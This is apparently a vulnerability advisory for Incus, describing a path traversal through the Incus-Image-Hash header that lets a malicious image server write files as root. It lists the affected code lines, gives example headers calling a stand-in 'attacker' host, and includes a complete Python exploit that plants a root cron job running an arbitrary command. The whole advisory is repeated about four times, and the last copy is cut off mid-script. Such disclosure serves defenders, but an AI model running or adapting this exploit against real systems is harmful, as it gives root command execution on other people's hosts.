### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash") parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds") parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run") parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images") parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger") args = parser.parse_args() if bool(args.cert) != bool(args.key): parser.error("--cert and --key must be supplied together") if args.execute_trigger and not args.yes_i_understand_this_writes_host_file: parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file") payload = cron_payload(args.command) trigger_body = image_url_body(args.advertise_url, args.public) print("[*] exploit primitive: direct image URL unvalidated hash path host write") print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage") print(f"[*] returned Incus-Image-Hash: {args.hash_path}") print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload") print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce") print(f"[*] cron payload: {payload.decode().rstrip()}") print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}") if not args.execute_trigger: print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test") return 0 server = start_server(args, payload) print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}") status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True) print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}") if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)): print("[*] daemon requested payload; cron file should exist until the held response is released") else: print("[!] daemon did not request payload within the wait window") print("[*] leaving HTTP server active for the remaining hold window") time.sleep(max(0, args.hold_seconds - 30)) server.shutdown() server.server_close() return 0 if __name__ == "__main__": try: raise SystemExit(main()) except BrokenPipeError: raise SystemExit(1) except Exception as exc: print(f"[-] {exc}", file=sys.stderr) raise SystemExit(1) ``` ### Impact An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parsed.scheme != "https": raise ValueError("--url must use https") return http.client.HTTPSConnection( parsed.hostname, parsed.port or 8443, timeout=args.timeout, context=tls_context(args), ) return UnixHTTPConnection(args.socket, timeout=args.timeout) def request_json( args: argparse.Namespace, method: str, path: str, obj: dict[str, Any] | None, allow_error: bool = False, ) -> tuple[int, dict[str, Any]]: body = None if obj is None else json.dumps(obj).encode("utf-8") headers = {"Host": "incus"} if body is not None: headers["Content-Type"] = "application/json" conn = connection(args) conn.request(method, path, body=body, headers=headers) resp = conn.getresponse() raw = resp.read() conn.close() try: data = json.loads(raw) if raw else {} except json.JSONDecodeError: data = {"raw": raw.decode("utf-8", "replace")} if not allow_error and (resp.status >= 400 or data.get("type") == "error"): raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}") return resp.status, data def images_path(project: str) -> str: return "/1.0/images?project=" + quote(project) def cron_payload(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8") def image_url_body(project_url: str, public: bool) -> dict[str, Any]: return { "source": { "type": "url", "url": project_url.rstrip("/") + "/stage", }, "public": public, } def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer: server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler) server.hash_path = args.hash_path server.advertise_url = args.advertise_url server.payload = payload server.hold_seconds = args.hold_seconds server.payload_requested = threading.Event() thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server def main() -> int: parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC") parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket") parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443") parser.add_argument("--cert", help="client certificate for remote Incus") parser.add_argument("--key", help="client private key for remote Incus") parser.add_argument("--cacert", help="CA certificate for remote Incus") parser.add_argument("--insecure", action="store_true", help="disable TLS verification") parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout") parser.add_argument("--project", default="default", help="project used for image import") parser.add_argument("--public", action="store_true", help="mark imported image public") parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address") parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port") parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon") 